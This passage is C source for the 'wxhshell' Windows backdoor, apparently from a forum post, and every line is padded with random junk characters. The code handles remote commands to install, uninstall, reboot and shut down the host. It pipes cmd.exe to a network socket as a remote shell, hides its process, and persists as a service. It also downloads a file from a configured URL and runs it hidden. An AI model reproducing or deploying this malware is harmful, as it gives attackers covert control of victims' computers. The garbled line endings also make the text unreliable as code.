      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  _BP%@o  
    break; ^f,4=-  
  } !Axe}RD'  
  // 安装 !}!KT(% %  
  case 'i': { :C_/K(Rkl  
    if(Install()) 'u<e<hU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G^Gs/- f  
    else U"7o;q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X_2N9$},  
    break; )P(S:x'b0  
    } v8-My1toV  
  // 卸载  Lw\u{E@  
  case 'r': { .hW>#  
    if(Uninstall()) XN<!.RCw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XKTDBaON  
    else {}$rN@OM$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "\@J0 |ppb  
    break; Ve(<s  
    } dCoP qKy  
  // 显示 wxhshell 所在路径 9Rk(q4.OP  
  case 'p': { %"f85VfZ  
    char svExeFile[MAX_PATH]; 9Q1%+zjjMq  
    strcpy(svExeFile,"\n\r"); sg,\!'  
      strcat(svExeFile,ExeFile); `&A`&-nc=  
        send(wsh,svExeFile,strlen(svExeFile),0); ,w~3K%B4  
    break; pX_  
    } Dd1k?  
  // 重启 <~dfp  
  case 'b': { QG*hQh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aA4RC0'  
    if(Boot(REBOOT)) iAH,f5T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Q 9^|&6  
    else { SPV+ O{  
    closesocket(wsh); '^)'q\v'k  
    ExitThread(0); k)3N0]q6  
    } :\~>7VFg  
    break; DoczQc-U+  
    } }K)A jZ  
  // 关机 f4p*!e  
  case 'd': { b*Qd9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IIAp-Y~B  
    if(Boot(SHUTDOWN)) W_wC"?A%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \NNA"  
    else { eA1g}ipm  
    closesocket(wsh); ~+'f[!^  
    ExitThread(0); \Hp!NbnF$  
    } W$jRS  
    break; )"\= _E#  
    } W%+02_/)  
  // 获取shell -dovk?'Gj  
  case 's': { y7pBcyWTE=  
    CmdShell(wsh); OFr"RGW"  
    closesocket(wsh); F qJ`d2E  
    ExitThread(0); V30w`\1A  
    break; D N!V".m`J  
  } ;[ QIHA!  
  // 退出 C+/EPPi  
  case 'x': { Y!j/,FU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^!B]V>L-  
    CloseIt(wsh); diNSF-wi,,  
    break; gN}$$vS  
    } <zqIq9}r  
  // 离开 )s>|;K{  
  case 'q': { oqvu8"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 93n%:?l"<W  
    closesocket(wsh); B-LV/WJ_  
    WSACleanup(); UhJS=YvT  
    exit(1); lai@,_<GV  
    break; bDDP:INm.  
        } Y"t|0dO%b  
  } dXDyY  
  } q2xAx1R`sV  
iY`[dsT  
  // 提示信息 }N9PV/a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %S^ke`MhF  
} 5:38}p9`  
  } tfHr'Qy BC  
]A[}:E 5}  
  return; dUB;ZB7  
} =eY  
+ase>'<N#  
// shell模块句柄 8o:h/F  
int CmdShell(SOCKET sock) (;g/wb:  
{ !QdX+y<re  
STARTUPINFO si; t~qSiHw  
ZeroMemory(&si,sizeof(si)); 5 xr2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JQ ?8yl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x(>XM:|  
PROCESS_INFORMATION ProcessInfo; jA^yUd-  
char cmdline[]="cmd"; N#-%b"(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -5e8m4*  
  return 0; L2Cb/!z`c  
} 0>m$e(Z  
alRz@N  
// 自身启动模式 5n>zJ ~  
int StartFromService(void) WMKxGZg"  
{ W/RB|TMT  
typedef struct GF@` ~im  
{ ug}u>vQ>  
  DWORD ExitStatus; IHW s<U  
  DWORD PebBaseAddress; lrPIXIM  
  DWORD AffinityMask; NfQ QJ@*  
  DWORD BasePriority; 6-$95.Y2  
  ULONG UniqueProcessId; s-6$C  
  ULONG InheritedFromUniqueProcessId; z*VK{O)o  
}   PROCESS_BASIC_INFORMATION; 6GAEQ]  
Y, Lpv|  
PROCNTQSIP NtQueryInformationProcess; WTD86A  
y+^KVEw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %a8e_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; SIM> Lz  
ymrnu-p o  
  HANDLE             hProcess; ,4,Bc<  
  PROCESS_BASIC_INFORMATION pbi; F'wG%  
9[~.{{Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PQi(Oc  
  if(NULL == hInst ) return 0; V,Bol(wY  
a-#$T)mmfj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L   
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i%i s<'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B{` K?e0  
?!"pzDg  
  if (!NtQueryInformationProcess) return 0; "8) %XSb  
_TdH6[9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v"Bm4+c&0  
  if(!hProcess) return 0; gr!!pp;  
uu-M7>+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0WZd$  
uQ ]ZMc  
  CloseHandle(hProcess); <QgpePyoN  
sc-+?i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !F ?j'[s8]  
if(hProcess==NULL) return 0; r0f&n;0U4  
d8Cd4qIXX  
HMODULE hMod; >} Mw"   
char procName[255]; `o{_+Li9  
unsigned long cbNeeded; c=-qbG0`  
1 "t9x.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8YPX8d8u  
mxH63$R  
  CloseHandle(hProcess); LGtw4'yr  
]w*`}  
if(strstr(procName,"services")) return 1; // 以服务启动 a_VWgPVdDS  
 b utBS  
  return 0; // 注册表启动 -oZw+ge}  
} T#e|{ZCbq  
N3Q .4? z9  
// 主模块 i u0'[  
int StartWxhshell(LPSTR lpCmdLine) I(3YXv VN  
{ D{6BX-Dw.  
  SOCKET wsl; ]2&RN@  
BOOL val=TRUE; tJ7tZ~Ak  
  int port=0; Z"l].\= F  
  struct sockaddr_in door; 0}` -<(  
`Y!8,( 5#  
  if(wscfg.ws_autoins) Install(); =(R3-['QIb  
\,m*CYs`  
port=atoi(lpCmdLine); <RbsQ^U  
TQ~a5q  
if(port<=0) port=wscfg.ws_port; G ` eU   
>,Zn~8&Z  
  WSADATA data; @5 ??`n  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @I&k|\  
y(a>Y! dgU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '19?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,1t|QvO  
  door.sin_family = AF_INET; 2/F8kVx{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  '"hSX=  
  door.sin_port = htons(port); ;i [;%  
oFzmH!&ED  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @eESKg(,  
closesocket(wsl); jW^]N$>  
return 1; . Y!dO@$:  
} ]R^xO;g'  
1;,<UHF8N  
  if(listen(wsl,2) == INVALID_SOCKET) { ZBH^0  
closesocket(wsl); x*X{*?5@  
return 1; 8X? EB6=c  
} ~XXNzz ]?  
  Wxhshell(wsl); JCB3 BZg7&  
  WSACleanup(); _$vbb#QXZG  
4 B[uF/[  
return 0; #N"QTD|i  
mYk~ ]a-  
} |~v2~   
LF{8hC[  
// 以NT服务方式启动 m}beT~FT_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ^mut-@ N9  
{ !F Zg' 9  
DWORD   status = 0; zlkW-rRkR  
  DWORD   specificError = 0xfffffff; R%9,.g <  
w%oa={x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n b*`GE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '!MKZKer  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s gZlk9x!Q  
  serviceStatus.dwWin32ExitCode     = 0; 6 !Mm")  
  serviceStatus.dwServiceSpecificExitCode = 0; qd'Z|'j  
  serviceStatus.dwCheckPoint       = 0; ts,V+cEA  
  serviceStatus.dwWaitHint       = 0; V HLNJnA  
Hh&qjf  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Osy_C<O  
  if (hServiceStatusHandle==0) return; JPZH%#E(  
ra@CouR^c{  
status = GetLastError(); B oiS  
  if (status!=NO_ERROR) CLuQ=-[|  
{ :S-{a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wq8&2(|Fc  
    serviceStatus.dwCheckPoint       = 0; k2#|^N  
    serviceStatus.dwWaitHint       = 0; wT,=C'  
    serviceStatus.dwWin32ExitCode     = status; va"bw!zXo*  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9@nd>B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *vqUOh  
    return; l?xd3Z@7[  
  } g^jTdrW/s  
vr6YE;Rs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /z}b1m+  
  serviceStatus.dwCheckPoint       = 0; @ W,<8  
  serviceStatus.dwWaitHint       = 0; /* "pylm  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4l> d^L  
} iMV=R2t 2  
:N_DJ51  
// 处理NT服务事件,比如:启动、停止 PH^Gjm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (bB"6 #TI  
{ e)XnS'  
switch(fdwControl) 3m&  
{ }{&;\^i  
case SERVICE_CONTROL_STOP: CHCT e  
  serviceStatus.dwWin32ExitCode = 0; [;~"ctf{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nuA 0%K  
  serviceStatus.dwCheckPoint   = 0; F]0 qt$GO  
  serviceStatus.dwWaitHint     = 0; o?IrDQ2gmh  
  { .Ep&O#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E},zB*5TH  
  } ]9W7]$  
  return; 5e?<x>e  
case SERVICE_CONTROL_PAUSE: tCw B 7 c-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; R. vVl+  
  break; /wP2Wnq$  
case SERVICE_CONTROL_CONTINUE: =u.23#.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Nz; \PS  
  break; 8NJT:6Q7l  
case SERVICE_CONTROL_INTERROGATE: $(*>]PC+)  
  break; qN Ut&#  
}; 8L6b:$Y3@C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kN#3HI]8  
} 5;HCNwX  
{&6i$4T  
// 标准应用程序主函数 pEW~zl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) NQvI=R-g  
{ 9E[==2TO  
&$l#0?Kc^  
// 获取操作系统版本 mwI7[I2q  
OsIsNt=GetOsVer(); $>+g)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); N8J(RR9O  
S a}P |qI  
  // 从命令行安装 -_O j iQ R  
  if(strpbrk(lpCmdLine,"iI")) Install(); i1bmUKZ8'L  
#ZP;] W  
  // 下载执行文件 |WOc0M[U  
if(wscfg.ws_downexe) { Oi-%6&}J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [ Q/kNK  
  WinExec(wscfg.ws_filenam,SW_HIDE); B$ho g_=s  
} &rl;+QS  
}WBHuVcZG  
if(!OsIsNt) { ~_g{P3  
// 如果时win9x,隐藏进程并且设置为注册表启动 @S>;t)\J  
HideProc(); Ap4.c8f?Q-  
StartWxhshell(lpCmdLine); $~%h4  
} 4x#tUzb;  
else {2i8]Sp1d/  
  if(StartFromService()) 33&\E- Q>  
  // 以服务方式启动 _c5*9')-)  
  StartServiceCtrlDispatcher(DispatchTable); `82Dm!V  
else  Wu8^Z Z{  
  // 普通方式启动 ]e+&Pxw]e  
  StartWxhshell(lpCmdLine); $q .}eb0  
QBN\wL8g  
return 0; v53|)]V  
}
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只看该作者 1 发表于: 2006-10-10
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